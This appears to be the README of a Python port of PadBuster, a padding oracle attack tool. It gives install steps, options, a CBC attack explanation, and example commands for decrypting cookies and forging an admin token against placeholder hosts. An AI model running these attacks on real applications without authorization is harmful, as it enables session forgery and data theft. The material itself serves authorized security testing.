A Python 3 Port of PadBuster - Automated Padding Oracle Attack Tool
The objective of this project was to rewrite the tool PadBuster in Python3.
Original Project: https://github.com/strozfriedberg/PadBuster
- Overview
- Features
- Installation
- Usage
- Command Line Options
- Encoding Formats
- Examples
- How Padding Oracle Attacks Work
- Testing
- Troubleshooting
- Credits
- Legal Disclaimer
PadBustPy is a Python 3 implementation of the classic PadBuster tool, originally written in Perl by Brian Holyfield of Gotham Digital Science. This tool automates the exploitation of padding oracle vulnerabilities in web applications that use block cipher encryption (typically AES-CBC or DES-CBC).
A padding oracle vulnerability occurs when a web application reveals whether the padding of an encrypted message is valid or invalid through different error responses, timing differences, or behavioral changes. This information leakage can be exploited to:
- Decrypt encrypted data without knowing the encryption key
- Encrypt arbitrary plaintext without knowing the encryption key
- Forge valid encrypted tokens/cookies
- Decrypt Mode: Decrypt encrypted samples using the padding oracle
- Encrypt Mode: Encrypt arbitrary plaintext using the padding oracle
- Brute Force Mode: Brute force the first block when IV is unknown
- Multiple Encoding Formats: Base64, Hex (upper/lower), .NET UrlToken, WebSafe Base64
- Automatic Response Analysis: Detects oracle signatures when no error string is provided
- HTTP Features:
- GET and POST request support
- Cookie manipulation
- Custom headers
- HTTP Basic Authentication
- Proxy support with authentication
- Interactive Mode: Manual confirmation of discovered bytes
- Resume Capability: Resume interrupted decrypt/brute force sessions
- Logging: Optional file logging for analysis
- Verbose Output: Multiple verbosity levels for debugging
- Python 3.8 or higher
- pip (Python package installer)
pip install requests# Clone the repository (if applicable)
git clone https://github.com/supasuge/PadBust-Py.git
cd PadBust-Py && chmod +x padbustpy.py
# Or download directly
wget https://raw.githubusercontent.com/supasuge/PadBust-Py/main/padbustpy.py
chmod +x padbustpy.pypython padbustpy.py <URL> <EncryptedSample> <BlockSize> [options]Required Arguments:
| Argument | Description |
|---|---|
URL |
The target URL containing the encrypted sample |
EncryptedSample |
The encrypted value to test (must appear in URL, POST data, or cookies) |
BlockSize |
The cipher block size (typically 8 for DES or 16 for AES) |
Decrypt mode is the default operation. It decrypts the encrypted sample by exploiting the padding oracle.
# Basic decrypt with automatic response analysis
python padbustpy.py "http://target.com/page?token=ABC123" "ABC123" 16
# Decrypt with known error string
python padbustpy.py "http://target.com/page?token=ABC123" "ABC123" 16 -error "Invalid padding"
# Decrypt without IV (first block unknown)
python padbustpy.py "http://target.com/page?token=ABC123" "ABC123" 16 -noivEncrypt mode allows you to create valid encrypted values for arbitrary plaintext.
# Encrypt plaintext
python padbustpy.py "http://target.com/page?token=ABC123" "ABC123" 16 \
-plaintext "user=admin"
# Encrypt with encoded input
python padbustpy.py "http://target.com/page?token=ABC123" "ABC123" 16 \
-encodedtext "dXNlcj1hZG1pbg=="
# Encrypt with known intermediate bytes (speeds up the process)
python padbustpy.py "http://target.com/page?token=ABC123" "ABC123" 16 \
-plaintext "admin" -intermediate "0x0011223344556677"Brute force mode attempts to discover valid padding for unknown IV scenarios.
python padbustpy.py "http://target.com/page?token=ABC123" "ABC123" 16 -bruteforce
# Resume brute force from specific attempt
python padbustpy.py "http://target.com/page?token=ABC123" "ABC123" 16 \
-bruteforce -resume 5000| Option | Description |
|---|---|
-error <string> |
The padding error message to look for in responses |
-encoding <0-4> |
Encoding format of the sample (default: 0=Base64) |
-prefix <bytes> |
Prefix bytes to prepend to each test sample (encoded) |
-noiv |
Sample does not include IV (attempt to decrypt first block) |
-noencode |
Do not URL-encode the payload |
| Option | Description |
|---|---|
-post <data> |
HTTP POST data string |
-cookies <string> |
HTTP cookies (format: name1=value1; name2=value2) |
-headers <string> |
Custom headers (format: name1::value1;name2::value2) |
-auth <user:pass> |
HTTP Basic Authentication credentials |
-proxy <host:port> |
HTTP/S proxy address |
-proxyauth <user:pass> |
Proxy authentication credentials |
| Option | Description |
|---|---|
-plaintext <string> |
Plaintext to encrypt (enables encrypt mode) |
-encodedtext <string> |
Encoded data to encrypt |
-bruteforce |
Enable brute force mode against first block |
-ciphertext <hex> |
Known ciphertext for intermediate bytes (hex-encoded) |
-intermediate <hex> |
Known intermediate bytes (hex-encoded) |
| Option | Description |
|---|---|
-usebody |
Include response body in signature analysis |
-interactive |
Prompt for confirmation on each discovered byte |
-resume <block> |
Resume decryption at specified block number |
| Option | Description |
|---|---|
-log |
Generate log files in PadBuster.DDMMMYY folder |
-verbose |
Enable verbose output |
-veryverbose |
Enable debug-level verbose output |
| Value | Format | Description |
|---|---|---|
| 0 | Base64 | Standard Base64 encoding (default) |
| 1 | Lower HEX | Lowercase hexadecimal |
| 2 | Upper HEX | Uppercase hexadecimal |
| 3 | .NET UrlToken | Microsoft .NET URL token encoding |
| 4 | WebSafe Base64 | URL-safe Base64 (- and _ instead of + and /) |
Decrypt a Base64-encoded cookie value:
python padbustpy.py \
"http://vulnerable-app.com/profile?session=dGVzdCBkYXRhIGhlcmU=" \
"dGVzdCBkYXRhIGhlcmU=" \
16 \
-error "Padding is invalid"Decrypt a token submitted via POST with session cookie:
python padbustpy.py \
"http://vulnerable-app.com/api/decrypt" \
"AABBCCDD11223344" \
16 \
-post "token=AABBCCDD11223344&action=view" \
-cookies "JSESSIONID=abc123; auth=xyz789" \
-encoding 1Create a valid encrypted token for admin access:
python padbustpy.py \
"http://vulnerable-app.com/page?token=EXISTING_TOKEN" \
"EXISTING_TOKEN" \
16 \
-plaintext "role=admin;user=attacker"Route traffic through Burp Suite for analysis:
python padbustpy.py \
"http://vulnerable-app.com/page?data=ENCRYPTED" \
"ENCRYPTED" \
16 \
-proxy "127.0.0.1:8080" \
-verbosepython padbustpy.py \
"http://vulnerable-app.com/api?cipher=0011223344556677" \
"0011223344556677" \
8 \
-encoding 1 \
-headers "X-Custom-Header::value1;Authorization::Bearer token123"Block ciphers like AES operate on fixed-size blocks (e.g., 16 bytes). When plaintext doesn't align perfectly with block boundaries, padding is added to fill the remaining space.
The most common padding scheme is PKCS#7, where:
- If 1 byte of padding is needed:
0x01 - If 2 bytes are needed:
0x02 0x02 - If 3 bytes are needed:
0x03 0x03 0x03 - And so on...
A padding oracle exists when an application reveals whether decrypted data has valid padding. This can manifest as:
- Different error messages ("Invalid padding" vs "Invalid data")
- Different HTTP status codes (500 vs 200)
- Different response lengths
- Timing differences
In CBC mode decryption:
Plaintext[i] = Decrypt(Ciphertext[i]) XOR Ciphertext[i-1]
By manipulating Ciphertext[i-1] and observing padding errors, an attacker can determine the intermediate decryption value Decrypt(Ciphertext[i]). Once known, XOR operations reveal the plaintext.
The attack proceeds byte-by-byte from the end of each block:
- Modify the last byte of the previous block
- Submit to the oracle
- When padding is valid (no error), you've found the intermediate byte
- XOR with the original ciphertext byte to get plaintext
- Repeat for all bytes
# Run the test generator
python gen_tests.py
# Run the full benchmark suite
python full_bench.pyFor safe testing, use a vulnerable-by-design application:
# Using Docker (recommended)
docker run -d -p 8080:80 vulnerables/web-dvwa
# Or use the provided test server
python -m http.server 8080"Encrypted Bytes must be evenly divisible by Block Size"
- Verify the correct block size (8 for DES, 16 for AES)
- Check that the encoding format is correct
- Ensure URL decoding isn't corrupting the sample
"All of the responses were identical"
- The application may not be vulnerable
- Try using
-usebodyfor more granular response analysis - Verify the encrypted sample is actually being processed
"No matching response"
- The error string may be incorrect
- Try running without
-errorfor automatic analysis - Use
-interactivemode to manually verify bytes
"Encrypted sample was not found in the test request"
- Ensure the sample appears exactly in the URL, POST data, or cookies
- Check for URL encoding issues (use
-noencodeif needed)
For detailed debugging information:
python padbustpy.py <URL> <Sample> <BlockSize> -veryverbose -logThis creates detailed log files for each request/response pair.
- Original PadBuster: Brian Holyfield - Gotham Digital Science (labs@gdssecurity.com)
- Python Port: Community contribution
- Padding Oracle Research: Serge Vaudenay (2002), Thai Duong & Juliano Rizzo (2010)
- Vaudenay's Original Paper
- POET: Padding Oracle Exploitation Tool
- OWASP Testing Guide - Padding Oracle
This tool is provided for authorized security testing and educational purposes only.
Unauthorized access to computer systems is illegal. Always obtain proper written authorization before testing any system you do not own. The authors assume no liability for misuse of this software.
Use responsibly and ethically.
This project is licensed under the GNU General Public License v3.0 - see the LICENSE file for details.
Contributions are welcome! Please feel free to submit a Pull Request. For major changes, please open an issue first to discuss what you would like to change.
- Fork the repository
- Create your feature branch (
git checkout -b feature/AmazingFeature) - Commit your changes (
git commit -m 'Add some AmazingFeature') - Push to the branch (
git push origin feature/AmazingFeature) - Open a Pull Request
- v0.3.3 - Python 3 port with requests library
- v0.3.2 - Original Perl version by Brian Holyfield